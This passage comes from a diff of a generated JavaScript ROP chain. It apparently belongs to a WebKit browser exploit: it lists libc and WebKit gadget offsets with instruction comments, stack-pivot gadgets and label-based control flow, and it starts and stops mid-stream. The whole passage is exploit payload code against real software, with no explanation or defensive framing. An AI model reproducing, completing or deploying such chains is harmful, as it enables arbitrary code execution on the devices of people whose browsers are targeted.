-ropchain+268456, //L4701 +ropchain+269584, //L4699 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4700: -db([1, 0]); // 0x1 +//L4699: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax +//L4700: +db([32, 0]); // 0x20 +set_gadget(libc_base+206806,); //pop rdi //L4701: -db([0, 0]); // 0x0 +db([32, 0]); // 0x20 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+268528, //L4703 +ropchain+269720, //L4702 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+269752, //L4704 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+269736, //L4703 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4702: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4703: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4704: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+268600, //L4705 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4704: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4705: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+14959219, //cmp rax, rcx ; sete al +webkit_base+48555, //setl al +libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+268672, //L4707 +ropchain+269920, //L4706 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+269936, //L4707 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+269904, //L4705 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4705: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4706: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4707: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+268744, //L4709 +ropchain+270040, //L4710 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4708: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4709: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+268816, //L4711 +ropchain+270088, //L4712 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+270072, //L4711 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4710: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4709: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4711: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4712: +db([0, 0]); // 0x0 set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+270200, //L4713+8 libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+268888, //L4713 +ropchain+270192, //L4713 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); -//L4712: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4713: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+268960, //L4715 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); +ropchain+270216, //L4713+24 +ropchain+270232, //L4708 +libc_base+811575, //pop rsp +ropchain+270248, //L4714 +//L4708: +libc_base+811575, //pop rsp +ropchain+274128, //L4715 //L4714: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4715: +libc_base+788575 //pop rax +]); +//L4716: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+269032, //L4717 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax ]); -//L4716: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4717: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+269104, //L4719 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax ]); //L4718: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([51, 0]); // 0x33 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax +]); //L4719: -db([0, 0]); // 0x0 +db([41, 0]); // 0x29 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+269176, //L4721 +ropchain+270480, //L4720 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); //L4720: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4721: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4721: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+269248, //L4723 +ropchain+270600, //L4725 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4722: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4723: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+269320, //L4725 +ropchain+270584, //L4723 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4724: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4723: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4725: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+269392, //L4727 +ropchain+270704, //L4726 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4726: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4727: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+269464, //L4729 +ropchain+270752, //L4729 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+270736, //L4728 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L4726: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4727: +db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi //L4728: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4729: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+269536, //L4731 +ropchain+270856, //L4732 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4730: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4731: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+269608, //L4733 +ropchain+270840, //L4730 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); +//L4730: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4732: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4733: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+269680, //L4735 +ropchain+271000, //L4735 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+270968, //L4733 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+270984, //L4734 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L4733: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4734: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4735: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+269752, //L4737 +ropchain+271072, //L4736 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4736: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4737: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+269824, //L4739 +ropchain+271128, //L4738 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4738: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4739: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+269896, //L4741 +ropchain+271208, //L4740 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); //L4740: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4741: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4741: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+269968, //L4743 +ropchain+271328, //L4745 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4742: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4743: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+270040, //L4745 +ropchain+271312, //L4743 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4744: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4743: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4745: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+270112, //L4747 +ropchain+271496, //L4748 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4746: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4747: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+270184, //L4749 +ropchain+271512, //L4749 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+271480, //L4746 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+271464, //L4747 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4747: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4746: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4748: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4749: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+270256, //L4751 +ropchain+271672, //L4753 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4750: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4751: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+270328, //L4753 +ropchain+271624, //L4751 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+271656, //L4752 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4751: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4750: +db([4, 0]); // 0x4 +set_gadget(libc_base+206806,); //pop rdi //L4752: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4753: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+270400, //L4755 +ropchain+271744, //L4754 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+271760, //L4755 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4754: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4755: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+270472, //L4757 +ropchain+271848, //L4756 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4756: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4757: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+270544, //L4759 +ropchain+271904, //L4758 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4758: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4759: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+270616, //L4761 +ropchain+272040, //L4761 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+272056, //L4762 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+272024, //L4760 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4760: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4761: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+270688, //L4763 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4762: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4763: +//L4762: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+270760, //L4765 +ropchain+272224, //L4765 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+272240, //L4766 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+272208, //L4763 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+272192, //L4764 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4764: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4763: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4765: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4766: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+270832, //L4767 +ropchain+272312, //L4767 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+272328, //L4768 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4766: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4767: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4768: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+270904, //L4769 +ropchain+272424, //L4770 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+272408, //L4769 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4768: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4769: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4770: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+270976, //L4771 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4772: +ropchain+272528, //L4771 libc_base+793877 //pop rsi ]); -//L4770: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4771: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+271048, //L4773 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+275416, //L4336 +//L4771: +libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); -//L4772: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4773: -db([0, 0]); // 0x0 +db([4294967256, 4294967295]); // -0x28 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+271120, //L4775 +ropchain+272664, //L4774 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+272680, //L4775 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+272648, //L4773 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4773: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4774: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4775: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+271192, //L4777 +ropchain+272784, //L4778 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4776: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4777: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+271264, //L4779 +ropchain+272832, //L4780 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+272816, //L4779 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4778: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4777: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4779: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4780: +db([0, 0]); // 0x0 set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+272944, //L4781+8 libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+271336, //L4781 +ropchain+272936, //L4781 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); -//L4780: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4781: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +ropchain+272960, //L4781+24 +ropchain+273408, //L4776 +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+271408, //L4783 +ropchain+273000, //L4782 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L4782: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4783: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+271480, //L4785 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+206806,); //pop rdi //L4784: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4785: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+271552, //L4787 +ropchain+273200, //L4787 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+273216, //L4788 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+273184, //L4785 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+273168, //L4786 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4786: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4785: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4787: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+271624, //L4789 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4788: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4789: +//L4788: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+271696, //L4791 +ropchain+273288, //L4789 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+273304, //L4790 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4790: -db([1, 0]); // 0x1 +//L4789: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4791: +//L4790: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+271768, //L4793 +ropchain+273400, //L4792 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+273384, //L4791 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4792: -db([1, 0]); // 0x1 +//L4791: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4793: +//L4792: db([0, 0]); // 0x0 +//L4776: +//L4793: set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+271840, //L4795 +ropchain+273448, //L4794 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); //L4794: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4795: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4795: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+271912, //L4797 +ropchain+273568, //L4799 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4796: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4797: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov 